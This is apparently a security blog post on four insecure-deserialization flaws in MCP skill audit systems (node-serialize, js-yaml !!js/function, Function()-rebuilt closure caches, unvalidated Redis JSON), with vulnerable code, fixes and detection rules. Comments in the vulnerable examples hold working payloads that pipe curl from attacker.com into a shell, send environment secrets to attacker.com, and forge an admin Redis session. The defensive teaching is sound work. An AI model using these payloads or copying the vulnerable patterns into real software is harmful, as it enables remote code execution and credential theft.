← Blog

Claude skill insecure deserialization in MCP audit data storage and retrieval — SA-SKL-DESERIALIZE2

MCP skill audit systems persist rich state — skill metadata, cached computation results, user-supplied configuration, and audit findings — across Redis, databases, and binary stores. SA-SKL-DESERIALIZE2 documents four deserialization patterns specific to that audit data layer: the node-serialize eval backdoor, YAML.load() arbitrary code execution via the !!js/function tag, Function() constructor reconstruction from legacy binary closure caches, and JSON.parse() on Redis-stored data without schema validation opening the door to type confusion and NoSQL-style injection.

By SkillAudit  |  7 Nov 2026

Why audit data storage is a deserialization risk surface

Skill audit systems accumulate diverse data structures: computed skill scores, evaluation closures, YAML-formatted rule definitions, and intermediate results cached in Redis to avoid re-running expensive analysis passes. Each storage layer introduces a trust boundary. Data written by one process is read and executed by another — often with different privilege levels. When the write path includes user-supplied values (a skill developer uploads a configuration file, a webhook delivers audit event data, or a Redis Lua script updates a cached result), every read path that deserializes without validation is a potential code execution vector.

The four SA-SKL-DESERIALIZE2 patterns all exploit this same boundary: data that enters the system under partial attacker control exits through a deserializer that treats the format as a trusted execution environment. node-serialize encodes functions and executes them on parse. js-yaml with its unsafe schema executes YAML tags that map to JavaScript objects. Legacy binary caches that reconstruct closures via new Function() execute whatever bytes were written to the cache. Redis values parsed with JSON.parse() but not schema-validated allow type substitution that breaks downstream authorization checks.

SA-SKL-DESERIALIZE2 in scope: DESERIALIZE2-001 (node-serialize and serialize-javascript eval attack via _$$ND_FUNC$$_ token), DESERIALIZE2-002 (YAML.load() !!js/function RCE in js-yaml v3/v4), DESERIALIZE2-003 (Function() constructor from legacy binary closure cache), DESERIALIZE2-004 (JSON.parse() on Redis data without Ajv schema validation). Each pattern includes SkillAudit detection rules and correct fixes.

DESERIALIZE2-001 — node-serialize and serialize-javascript eval attack

The node-serialize npm package serializes JavaScript objects including functions. It encodes functions using the sentinel string _$$ND_FUNC$$_ prepended to the function's source text. When deserialize() encounters a string value beginning with _$$ND_FUNC$$_, it strips the prefix and passes the remainder to eval(). An attacker who can inject into or replace a serialized payload can embed a self-invoking function expression — _$$ND_FUNC$$_function(){require('child_process').exec('id')}() — that executes immediately upon deserialization. The parentheses at the end force the function to call itself; this is the standard IIFE (Immediately Invoked Function Expression) form that bypasses any check for whether the parsed value is a function reference versus a function call.

serialize-javascript exhibits the same class of risk: it serializes RegExp, Date, and function objects into string representations that it later eval()s on deserialize. Any audit caching layer that stores serialized output from these packages in a shared store (Redis, S3, a database) and later deserializes it — even from what appears to be an internal source — is vulnerable if any write path is attacker-influenced. The fix is categorical: never use eval-based deserializers. Use JSON.parse() with schema validation for all persistent data. If function serialization is genuinely required (for example, to persist audit rule callbacks across process restarts), use a whitelist registry pattern — serialize function names, not function bodies, and look them up in an in-process registry on load.

// VULNERABLE — node-serialize used to cache MCP skill audit closures
import serialize from 'node-serialize';
import redis from './redis-client';

// Serializes an audit result including the evaluator function for later replay
export async function cacheAuditResult(skillId: string, result: AuditResult) {
  // result.evaluator is a function — node-serialize encodes it as:
  // {"score":42,"evaluator":"_$$ND_FUNC$$_function(input){return input.score > 0;}"}
  const serialized = serialize.serialize(result);
  await redis.set(`audit:${skillId}`, serialized, 'EX', 3600);
}

// Attacker poisons Redis (via SSRF to Redis port, or compromised Lua script) with:
// {"score":99,"evaluator":"_$$ND_FUNC$$_function(){require('child_process').exec('curl attacker.com/shell | sh')}()"}
// When deserialize() runs, eval() is called on the function body — including the IIFE ()
// The shell command executes immediately in the MCP server process
export async function replayAuditResult(skillId: string): Promise<AuditResult> {
  const raw = await redis.get(`audit:${skillId}`);
  if (!raw) throw new Error('Cache miss');
  // THIS LINE IS RCE — deserialize() calls eval() on _$$ND_FUNC$$_ values
  return serialize.deserialize(raw) as AuditResult;
}
// FIXED — JSON.parse with schema validation; function registry for callable logic
import Ajv, { JSONSchemaType } from 'ajv';
import addFormats from 'ajv-formats';
import redis from './redis-client';

// Define the exact shape of a cached audit result — no functions, no dynamic types
interface CachedAuditResult {
  skillId: string;
  score: number;
  findings: Array<{ ruleId: string; severity: 'critical' | 'high' | 'medium' | 'low'; message: string }>;
  evaluatorName: string; // Name of the evaluator function — NOT the function body
  timestamp: string;    // ISO 8601
}

const schema: JSONSchemaType<CachedAuditResult> = {
  type: 'object',
  properties: {
    skillId:       { type: 'string', minLength: 1, maxLength: 128 },
    score:         { type: 'number', minimum: 0, maximum: 100 },
    findings: {
      type: 'array',
      items: {
        type: 'object',
        properties: {
          ruleId:   { type: 'string', pattern: '^[A-Z0-9_-]{1,64}$' },
          severity: { type: 'string', enum: ['critical', 'high', 'medium', 'low'] },
          message:  { type: 'string', maxLength: 2048 },
        },
        required: ['ruleId', 'severity', 'message'],
        additionalProperties: false,
      },
    },
    evaluatorName: { type: 'string', pattern: '^[a-z][a-z0-9_]{0,63}$' },
    timestamp:     { type: 'string', format: 'date-time' },
  },
  required: ['skillId', 'score', 'findings', 'evaluatorName', 'timestamp'],
  additionalProperties: false,
};

const ajv = new Ajv({ strict: true });
addFormats(ajv);
const validate = ajv.compile(schema);

// Registry maps evaluator names to in-process functions — no eval involved
const EVALUATOR_REGISTRY = new Map<string, (result: CachedAuditResult) => boolean>([
  ['default',   (r) => r.score >= 0],
  ['strict',    (r) => r.findings.filter(f => f.severity === 'critical').length === 0],
  ['passAny',   (r) => r.score > 0],
]);

export async function cacheAuditResult(result: CachedAuditResult): Promise<void> {
  // Validate before writing so only clean data enters the cache
  if (!validate(result)) {
    throw new Error(`Invalid audit result: ${ajv.errorsText(validate.errors)}`);
  }
  // JSON.stringify — no function serialization, no eval tokens
  await redis.set(`audit:${result.skillId}`, JSON.stringify(result), 'EX', 3600);
}

export async function replayAuditResult(skillId: string): Promise<CachedAuditResult> {
  const raw = await redis.get(`audit:${skillId}`);
  if (!raw) throw new Error('Cache miss');

  let parsed: unknown;
  try {
    parsed = JSON.parse(raw);
  } catch {
    throw new Error('Corrupt audit cache entry: invalid JSON');
  }

  // Validate after reading — treats Redis data as untrusted input
  if (!validate(parsed)) {
    throw new Error(`Tampered audit cache entry: ${ajv.errorsText(validate.errors)}`);
  }

  // Look up evaluator by name — no eval, no Function() constructor
  const evaluator = EVALUATOR_REGISTRY.get(parsed.evaluatorName);
  if (!evaluator) {
    throw new Error(`Unknown evaluator: ${parsed.evaluatorName}`);
  }

  return parsed;
}
CRITICAL
SA-SKL-DESERIALIZE2-001 — node-serialize's deserialize() calls eval() on any string value prefixed with _$$ND_FUNC$$_; an attacker who can write to a serialized store (Redis, database, S3) can embed a self-invoking function expression that executes arbitrary shell commands in the MCP server process on the next read; fix by replacing node-serialize entirely with JSON.parse() plus Ajv schema validation, and by using a named function registry instead of serialized function bodies. Detection: SkillAudit flags any require('node-serialize') or import ... from 'node-serialize' in MCP skill source, and any deserialize( call where the input traces to a Redis get, database query, or HTTP request body.

DESERIALIZE2-002 — YAML.load() unsafe schema executes !!js/function tags

The js-yaml library ships two distinct loading APIs across its major versions. In js-yaml v3, yaml.load() (aliased as yaml.safeLoad() never existing in v3 as a true alias — they use different schemas) uses DEFAULT_FULL_SCHEMA by default, which includes the !!js/function, !!js/regexp, and !!js/undefined YAML tags. When the parser encounters !!js/function, it evaluates the following string as JavaScript using new Function() internally. An attacker-controlled YAML string containing !!js/function "function(){require('child_process').execSync('curl attacker.com/c2 | sh')}" executes that code during the yaml.load() call — before the application code ever inspects the returned value.

MCP skill audit systems that accept YAML-formatted rule files, configuration imports, or skill manifests from users are directly exposed. The vector also applies to YAML files fetched from URLs (remote skill registries), piped through CI pipelines, or stored in databases as YAML blobs. In js-yaml v4, the default schema changed to CORE_SCHEMA, which does not include the !!js/* tags — a !!js/function tag in v4 throws a parse error rather than executing. However, v3 is still widely deployed and many codebases have not migrated. The fix for v3 is to replace every yaml.load(input) call with yaml.safeLoad(input) (which uses DEFAULT_SAFE_SCHEMA). For v4, use yaml.load(input, { schema: yaml.FAILSAFE_SCHEMA }) or yaml.load(input, { schema: yaml.JSON_SCHEMA }) for the most restrictive parsing; the default CORE_SCHEMA in v4 is safe but explicit schema specification is better practice.

// VULNERABLE — yaml.load() in js-yaml v3 uses DEFAULT_FULL_SCHEMA
// (includes !!js/function, !!js/regexp, !!js/undefined tags)
import yaml from 'js-yaml'; // js-yaml@3.x

// MCP skill audit rule importer — accepts YAML from skill developers
export async function importAuditRules(yamlInput: string): Promise<AuditRuleSet> {
  // Attacker-supplied yamlInput:
  //
  // rules:
  //   - id: SA-EVIL-001
  //     name: "benign-looking rule name"
  //     check: !!js/function |
  //       function() {
  //         require('child_process').execSync(
  //           'curl https://attacker.com/steal?env=' +
  //           Buffer.from(JSON.stringify(process.env)).toString('base64')
  //         );
  //       }
  //
  // yaml.load() calls new Function() on the !!js/function value DURING PARSE.
  // The environment variables (DATABASE_URL, API_KEYS, etc.) are exfiltrated
  // before the application code ever reaches the return statement.
  const ruleset = yaml.load(yamlInput) as AuditRuleSet;
  return ruleset;
}

// Even reading a YAML file from disk is vulnerable if the file is attacker-controlled:
export async function loadRuleFile(filePath: string): Promise<AuditRuleSet> {
  const content = await fs.readFile(filePath, 'utf8');
  return yaml.load(content) as AuditRuleSet; // !!js/function in the file = RCE
}
// FIXED — js-yaml v3: use safeLoad(); js-yaml v4: explicit FAILSAFE_SCHEMA or JSON_SCHEMA

// ----- js-yaml v3 fix -----
import yaml3 from 'js-yaml'; // js-yaml@3.x

export async function importAuditRulesV3(yamlInput: string): Promise<unknown> {
  let parsed: unknown;
  try {
    // safeLoad() uses DEFAULT_SAFE_SCHEMA — excludes ALL !!js/* tags
    // A !!js/function in the input throws a YAMLException instead of executing
    parsed = yaml3.safeLoad(yamlInput);
  } catch (err) {
    throw new Error(`YAML parse error: ${(err as Error).message}`);
  }

  // Still validate the structure after parsing — safeLoad() ensures no code execution
  // but the parsed object may have unexpected types or missing fields
  return validateRuleSet(parsed);
}

// ----- js-yaml v4 fix -----
import * as yaml4 from 'js-yaml'; // js-yaml@4.x

export async function importAuditRulesV4(yamlInput: string): Promise<unknown> {
  let parsed: unknown;
  try {
    // FAILSAFE_SCHEMA: only strings, sequences, and mappings — most restrictive
    // JSON_SCHEMA: additionally allows null, bool, int, float
    // CORE_SCHEMA (v4 default): safe, but explicit is better
    // DEFAULT_SCHEMA (v4): also safe — !!js/* not included in v4 DEFAULT_SCHEMA
    // NEVER use: yaml4.load(input, { schema: yaml4.LEGACY_SCHEMA }) — that re-enables !!js/*
    parsed = yaml4.load(yamlInput, { schema: yaml4.JSON_SCHEMA });
  } catch (err) {
    throw new Error(`YAML parse error: ${(err as Error).message}`);
  }

  return validateRuleSet(parsed);
}

// Schema validator for the parsed rule set structure
function validateRuleSet(parsed: unknown): unknown {
  if (typeof parsed !== 'object' || parsed === null || Array.isArray(parsed)) {
    throw new Error('Audit rule YAML must be a mapping at root level');
  }
  const obj = parsed as Record<string, unknown>;
  if (!Array.isArray(obj.rules)) {
    throw new Error('Audit rule YAML must have a "rules" array');
  }
  // Validate each rule entry with Ajv — not shown for brevity
  return obj;
}

// For CI pipelines loading rule files from disk — same fix applies:
export async function loadRuleFile(filePath: string): Promise<unknown> {
  const content = await fs.readFile(filePath, 'utf8');
  // Resolve to absolute path and check against an allow-listed directory
  const resolved = path.resolve(filePath);
  const allowed = path.resolve('./rules');
  if (!resolved.startsWith(allowed + path.sep)) {
    throw new Error(`Rule file path traversal attempt: ${filePath}`);
  }
  return importAuditRulesV4(content);
}
CRITICAL
SA-SKL-DESERIALIZE2-002 — js-yaml v3 yaml.load() uses DEFAULT_FULL_SCHEMA which includes !!js/function, !!js/regexp, and !!js/undefined tags; an attacker-controlled YAML string containing a !!js/function tag executes arbitrary Node.js code during parse, before the application inspects the return value; fix by using yaml.safeLoad() in v3, or yaml.load(input, { schema: yaml.JSON_SCHEMA }) in v4; never use LEGACY_SCHEMA in v4. Detection: SkillAudit flags yaml.load(input) in js-yaml v3 where no schema option is passed, and flags yaml.load(input, { schema: yaml.LEGACY_SCHEMA }) in any version as an unconditional critical finding.

DESERIALIZE2-003 — Function() constructor in legacy binary closure cache

Legacy MCP skill plugins — particularly those built before structured serialization formats became standard — sometimes cache expensive evaluation closures to disk or to a binary store by serializing function source text using fn.toString() and reconstructing the function at load time using new Function(source) or eval(source). This pattern appears in audit caching layers that need to replay the exact evaluation logic used during an original audit run, in plugin systems that allow "hot reload" of audit rules without process restart, and in distributed audit workers that share precompiled rule closures via a message queue.

The reconstructed closure runs in the same V8 context as the MCP server process — with full access to require, process, Buffer, and all loaded modules. An attacker who can write to the binary cache store (via a path traversal that reaches the cache directory, via a compromised CI pipeline that publishes cached artifacts, or via a Redis MITM) can replace a legitimate function body with an exploit payload. The deserialized function then executes the payload with MCP server privileges the next time the cache entry is read. The fix is to eliminate function-body serialization entirely. Use JSON + Ajv-validated schemas for all persistent cache data; express evaluation logic as named rule identifiers resolved against an in-process registry, not as arbitrary serialized code.

// VULNERABLE — legacy binary closure cache using Function() constructor
import fs from 'fs/promises';
import path from 'path';

const CACHE_DIR = '/var/cache/skillaudit/closures';

interface ClosureCache {
  ruleId: string;
  version: string;
  // The serialized function body — fn.toString() output stored verbatim
  fnSource: string;
  capturedEnv: Record<string, unknown>;
}

// Cache a compiled audit rule closure for use by distributed audit workers
export async function cacheRuleClosure(ruleId: string, fn: Function, env: Record<string, unknown>) {
  const entry: ClosureCache = {
    ruleId,
    version: '1.0',
    fnSource: fn.toString(), // Serializes the function body as a string
    capturedEnv: env,
  };
  const cachePath = path.join(CACHE_DIR, `${ruleId}.json`);
  await fs.writeFile(cachePath, JSON.stringify(entry));
}

// Reconstruct the closure from cache — used by audit workers on startup
export async function loadRuleClosure(ruleId: string): Promise<Function> {
  const cachePath = path.join(CACHE_DIR, `${ruleId}.json`);
  const raw = await fs.readFile(cachePath, 'utf8');
  const entry = JSON.parse(raw) as ClosureCache;

  // Attacker replaces the cache file (path traversal, CI artifact poisoning, etc.) with:
  // {
  //   "ruleId": "SA-SKL-CORS6",
  //   "version": "1.0",
  //   "fnSource": "function(input) { require('child_process').execSync('id > /tmp/pwned'); return true; }",
  //   "capturedEnv": {}
  // }
  //
  // new Function() reconstructs the function and returns it.
  // The caller invokes it — arbitrary code runs in the MCP server process.
  const fn = new Function(`return (${entry.fnSource})`)();

  return fn;
}

// Worker code — calls loadRuleClosure and invokes the result
export async function runCachedRule(ruleId: string, auditInput: unknown): Promise<boolean> {
  const rule = await loadRuleClosure(ruleId); // <--- RCE if cache is poisoned
  return rule(auditInput);
}
// FIXED — replace closure cache with rule-descriptor JSON + in-process registry
import fs from 'fs/promises';
import path from 'path';
import Ajv, { JSONSchemaType } from 'ajv';

const CACHE_DIR = '/var/cache/skillaudit/closures';

// Serialized form stores ONLY the rule identifier and its pre-validated parameters
// — never any executable code
interface RuleDescriptor {
  ruleId: string;         // e.g. "SA-SKL-CORS6"
  version: string;        // semver string
  params: {               // Rule-specific numeric/string tuning parameters
    threshold?: number;
    flags?: string[];
    mode?: 'strict' | 'lenient';
  };
  cachedAt: string;       // ISO 8601 — for TTL enforcement
}

const descriptorSchema: JSONSchemaType<RuleDescriptor> = {
  type: 'object',
  properties: {
    ruleId:    { type: 'string', pattern: '^SA-SKL-[A-Z0-9_-]{1,64}$' },
    version:   { type: 'string', pattern: '^\\d+\\.\\d+\\.\\d+$' },
    params: {
      type: 'object',
      properties: {
        threshold: { type: 'number', minimum: 0, maximum: 1, nullable: true },
        flags:     { type: 'array', items: { type: 'string', maxLength: 32 }, nullable: true },
        mode:      { type: 'string', enum: ['strict', 'lenient'], nullable: true },
      },
      additionalProperties: false,
    },
    cachedAt: { type: 'string' },
  },
  required: ['ruleId', 'version', 'params', 'cachedAt'],
  additionalProperties: false,
};

const ajv = new Ajv({ strict: true });
const validateDescriptor = ajv.compile(descriptorSchema);

// In-process registry — maps ruleId to the actual implementation function
// Functions live in source-controlled modules, never in cache files
type RuleImpl = (input: unknown, params: RuleDescriptor['params']) => boolean;

const RULE_REGISTRY = new Map<string, RuleImpl>([
  ['SA-SKL-CORS6',    (input, p) => checkCorsHeaders(input, p)],
  ['SA-SKL-JWT3-001', (input, p) => checkJwtAlgorithm(input, p)],
  // ... all known rules registered at startup — no dynamic registration
]);

export async function cacheRuleDescriptor(ruleId: string, params: RuleDescriptor['params']): Promise<void> {
  if (!RULE_REGISTRY.has(ruleId)) {
    throw new Error(`Unknown rule ID: ${ruleId} — cannot cache unknown rules`);
  }
  const descriptor: RuleDescriptor = {
    ruleId,
    version: '1.0.0',
    params,
    cachedAt: new Date().toISOString(),
  };
  if (!validateDescriptor(descriptor)) {
    throw new Error(`Invalid rule descriptor: ${ajv.errorsText(validateDescriptor.errors)}`);
  }
  // Prevent path traversal — ruleId is validated by schema pattern above but double-check
  const safeName = ruleId.replace(/[^A-Z0-9_-]/g, '_');
  const cachePath = path.join(CACHE_DIR, `${safeName}.json`);
  await fs.writeFile(cachePath, JSON.stringify(descriptor, null, 2));
}

export async function loadRuleDescriptor(ruleId: string): Promise<RuleDescriptor> {
  const safeName = ruleId.replace(/[^A-Z0-9_-]/g, '_');
  const cachePath = path.join(CACHE_DIR, `${safeName}.json`);

  const raw = await fs.readFile(cachePath, 'utf8');

  let parsed: unknown;
  try {
    parsed = JSON.parse(raw);
  } catch {
    throw new Error(`Corrupt rule descriptor cache for ${ruleId}`);
  }

  if (!validateDescriptor(parsed)) {
    throw new Error(`Tampered rule descriptor: ${ajv.errorsText(validateDescriptor.errors)}`);
  }

  // Enforce cache TTL — reject entries older than 1 hour
  const age = Date.now() - new Date(parsed.cachedAt).getTime();
  if (age > 3_600_000) {
    throw new Error(`Stale rule descriptor for ${ruleId} — re-cache required`);
  }

  return parsed;
}

// No new Function() — the implementation is looked up from the in-process registry
export async function runCachedRule(ruleId: string, auditInput: unknown): Promise<boolean> {
  const descriptor = await loadRuleDescriptor(ruleId);

  const impl = RULE_REGISTRY.get(descriptor.ruleId);
  if (!impl) {
    throw new Error(`Rule ${descriptor.ruleId} not in registry — possible version mismatch`);
  }

  return impl(auditInput, descriptor.params);
}
HIGH
SA-SKL-DESERIALIZE2-003 — Legacy MCP skill plugins that serialize evaluation closures to disk or a binary store using fn.toString() and reconstruct them with new Function(source) or eval(source) allow an attacker who can write to the cache store (path traversal, poisoned CI artifact, Redis MITM) to substitute arbitrary code that executes with MCP server privileges on the next cache read; fix by eliminating function-body serialization and replacing it with rule-identifier descriptors resolved against an in-process registry of source-controlled function implementations. Detection: SkillAudit flags new Function( calls where the argument traces to a file read, Redis get, database query, or deserialized JSON property, and flags patterns of fn.toString() storage followed by later eval( or new Function( reconstruction.

DESERIALIZE2-004 — JSON.parse() on Redis data without schema validation

Redis is frequently treated as a trusted internal store. Data written to Redis is assumed to have been validated when it was written — so when it is read back and parsed with JSON.parse(), developers skip schema validation, reasoning that the shape is already known. This assumption breaks in several ways relevant to MCP audit systems. First, Redis does not enforce types: a string stored under a key by one process can be replaced with an arbitrary string by any process with write access — including an attacker who gained lateral access via SSRF to the Redis port (which defaults to no authentication), via a compromised internal service, or via a Redis Lua script that contains a secondary injection vulnerability. Second, prototype pollution in upstream code that processes Redis data can inject properties onto Object.prototype that then appear on every deserialized object. Third, attackers familiar with NoSQL injection patterns can write values like {"$ne": null} as a string field that the application later uses in a MongoDB or similar query without re-validation.

The concrete risk in audit systems: a userId field expected to be a number is replaced with an object; a role field expected to be "viewer" is replaced with "admin"; a boolean isAuditApproved is replaced with a truthy object. Without schema validation on the read path, these type substitutions pass through to authorization checks with unpredictable results. The fix requires treating every Redis read as untrusted input: validate with Ajv using additionalProperties: false, coerce types with a JSON reviver or explicit casts, and reject entries that fail validation rather than attempting to process them.

// VULNERABLE — JSON.parse on Redis cache without schema validation
import redis from './redis-client';

interface AuditSession {
  sessionId: string;
  userId: number;         // Expected: integer user ID
  role: string;           // Expected: 'admin' | 'auditor' | 'viewer'
  skillIds: string[];     // Expected: array of skill ID strings
  isApproved: boolean;    // Expected: boolean approval flag
  expiresAt: number;      // Expected: Unix timestamp (number)
}

export async function getAuditSession(sessionId: string): Promise<AuditSession | null> {
  const raw = await redis.get(`session:${sessionId}`);
  if (!raw) return null;

  // No validation — trusts Redis output completely
  // Attacker who can write to Redis (SSRF to :6379, no AUTH configured) sets:
  // session:abc123 = {
  //   "sessionId": "abc123",
  //   "userId": {"$ne": null},        // Type confusion — object where number expected
  //   "role": "admin",                // Privilege escalation — was "viewer"
  //   "skillIds": ["*"],              // Wildcard injection
  //   "isApproved": {"valueOf": 1},   // Truthy object where boolean expected
  //   "expiresAt": 9999999999999      // Far-future expiry
  // }
  const session = JSON.parse(raw) as AuditSession;
  return session; // Returns attacker-controlled object — no checks failed
}

// Downstream authorization check — bypassed by type confusion
export async function authorizeAuditAction(sessionId: string, action: string): Promise<boolean> {
  const session = await getAuditSession(sessionId);
  if (!session) return false;

  // role === 'admin' is true — attacker wrote 'admin' as the role
  // isApproved check: {"valueOf": 1} is truthy — passes
  // userId > 0 check: {"$ne": null} converted to NaN by arithmetic — may pass or skip
  if (session.role === 'admin' || session.isApproved) {
    return true; // Attacker gains full audit authorization
  }
  return false;
}
// FIXED — Ajv schema validation on every Redis read; reviver for type coercion
import Ajv, { JSONSchemaType } from 'ajv';
import addFormats from 'ajv-formats';
import redis from './redis-client';

interface AuditSession {
  sessionId: string;
  userId: number;
  role: 'admin' | 'auditor' | 'viewer';
  skillIds: string[];
  isApproved: boolean;
  expiresAt: number;
}

const sessionSchema: JSONSchemaType<AuditSession> = {
  type: 'object',
  properties: {
    sessionId: { type: 'string', minLength: 32, maxLength: 128, pattern: '^[a-zA-Z0-9_-]+$' },
    userId:    { type: 'integer', minimum: 1, maximum: 2_147_483_647 },
    role:      { type: 'string', enum: ['admin', 'auditor', 'viewer'] },
    skillIds: {
      type: 'array',
      items: { type: 'string', pattern: '^[a-zA-Z0-9_-]{1,64}$' },
      maxItems: 500,
    },
    isApproved: { type: 'boolean' },
    expiresAt:  { type: 'integer', minimum: 0 },
  },
  required: ['sessionId', 'userId', 'role', 'skillIds', 'isApproved', 'expiresAt'],
  additionalProperties: false, // Rejects any extra properties — blocks prototype pollution
};

const ajv = new Ajv({ strict: true });
addFormats(ajv);
const validateSession = ajv.compile(sessionSchema);

// JSON reviver — coerces and validates types at parse time
function sessionReviver(key: string, value: unknown): unknown {
  // Reject non-primitive types for fields that must be primitives
  if (key === 'userId' || key === 'expiresAt') {
    if (typeof value !== 'number') {
      throw new SyntaxError(`Session field '${key}' must be a number, got ${typeof value}`);
    }
  }
  if (key === 'isApproved') {
    if (typeof value !== 'boolean') {
      throw new SyntaxError(`Session field 'isApproved' must be boolean, got ${typeof value}`);
    }
  }
  if (key === 'role') {
    const allowed = new Set(['admin', 'auditor', 'viewer']);
    if (typeof value !== 'string' || !allowed.has(value)) {
      throw new SyntaxError(`Session field 'role' must be admin|auditor|viewer, got ${JSON.stringify(value)}`);
    }
  }
  return value;
}

export async function getAuditSession(sessionId: string): Promise<AuditSession | null> {
  // Validate the session ID itself before using it as a Redis key
  if (!/^[a-zA-Z0-9_-]{32,128}$/.test(sessionId)) {
    throw new Error('Invalid session ID format');
  }

  const raw = await redis.get(`session:${sessionId}`);
  if (!raw) return null;

  let parsed: unknown;
  try {
    // Reviver catches type confusion at parse time
    parsed = JSON.parse(raw, sessionReviver);
  } catch (err) {
    // Log the error for security monitoring — parse failure may indicate tampering
    console.error('Redis session parse error — possible cache tampering', {
      sessionId,
      error: (err as Error).message,
    });
    // Delete the suspect entry — attacker cannot rely on a poisoned key persisting
    await redis.del(`session:${sessionId}`);
    return null;
  }

  // Ajv schema validation — second layer, catches anything the reviver missed
  if (!validateSession(parsed)) {
    console.error('Redis session schema validation failed', {
      sessionId,
      errors: ajv.errorsText(validateSession.errors),
    });
    await redis.del(`session:${sessionId}`);
    return null;
  }

  // Enforce expiry — do not trust expiresAt from Redis alone (Redis TTL may differ)
  if (parsed.expiresAt < Math.floor(Date.now() / 1000)) {
    await redis.del(`session:${sessionId}`);
    return null;
  }

  return parsed;
}

// Downstream authorization — now safe because session object is fully validated
export async function authorizeAuditAction(sessionId: string, action: string): Promise<boolean> {
  const session = await getAuditSession(sessionId);
  if (!session) return false;

  // session.role is guaranteed to be 'admin' | 'auditor' | 'viewer' (enum-validated)
  // session.isApproved is guaranteed boolean
  // session.userId is guaranteed integer in [1, 2147483647]
  const ADMIN_ACTIONS = new Set(['delete-audit', 'approve-skill', 'revoke-access']);
  if (ADMIN_ACTIONS.has(action) && session.role !== 'admin') {
    return false;
  }

  return session.isApproved;
}
HIGH
SA-SKL-DESERIALIZE2-004 — JSON.parse() on Redis-stored session or audit data without Ajv schema validation allows an attacker with Redis write access (SSRF to unauthenticated Redis port, compromised internal service) to substitute unexpected types — an object for a numeric userId, "admin" for a "viewer" role string, a truthy object for a boolean approval flag — that bypass downstream authorization checks; fix by running Ajv schema validation with additionalProperties: false on every Redis read and by using a JSON reviver to reject non-primitive values for fields that must be primitives; delete and refuse to process Redis entries that fail validation. Detection: SkillAudit flags JSON.parse(await redis.get( patterns where no subsequent Ajv validate( call is detected on the same variable before it is used in an authorization check.

Detection summary

ID Severity Pattern Fix
DESERIALIZE2-001 CRITICAL node-serialize deserialize() calls eval() on _$$ND_FUNC$$_-prefixed string values; self-invoking function expression = instant RCE on parse Remove node-serialize; use JSON.parse() + Ajv schema; replace function serialization with named registry pattern
DESERIALIZE2-002 CRITICAL js-yaml v3 yaml.load() with DEFAULT_FULL_SCHEMA executes !!js/function tags via new Function() during parse; affects YAML config imports and rule files Use yaml.safeLoad() in v3; use yaml.load(input, { schema: yaml.JSON_SCHEMA }) in v4; never use LEGACY_SCHEMA
DESERIALIZE2-003 HIGH Legacy binary closure cache serializes fn.toString() and reconstructs with new Function(source); poisoned cache file or Redis entry executes attacker code with MCP server privileges Replace function-body cache with rule-descriptor JSON; resolve rule IDs against in-process registry; never reconstruct executable code from persisted bytes
DESERIALIZE2-004 HIGH JSON.parse() on Redis session/audit data without schema validation; type substitution by attacker with Redis write access bypasses role and boolean authorization checks Ajv additionalProperties: false schema validation on every Redis read; JSON reviver for primitive-type enforcement; delete and reject entries that fail validation

Related patterns: SA-SKL-PROTOTYPE5 covers prototype pollution via JSON.parse() and Object.assign() — the complement to DESERIALIZE2-004 for cases where Redis or database data contains __proto__ or constructor keys that mutate shared prototypes rather than causing direct type confusion. Deserialization and prototype pollution in MCP skills on the SkillAudit blog walks through a combined attack chain where a DESERIALIZE2-002 YAML injection plants a prototype pollution payload that then enables a DESERIALIZE2-004 Redis type confusion bypass in a single request.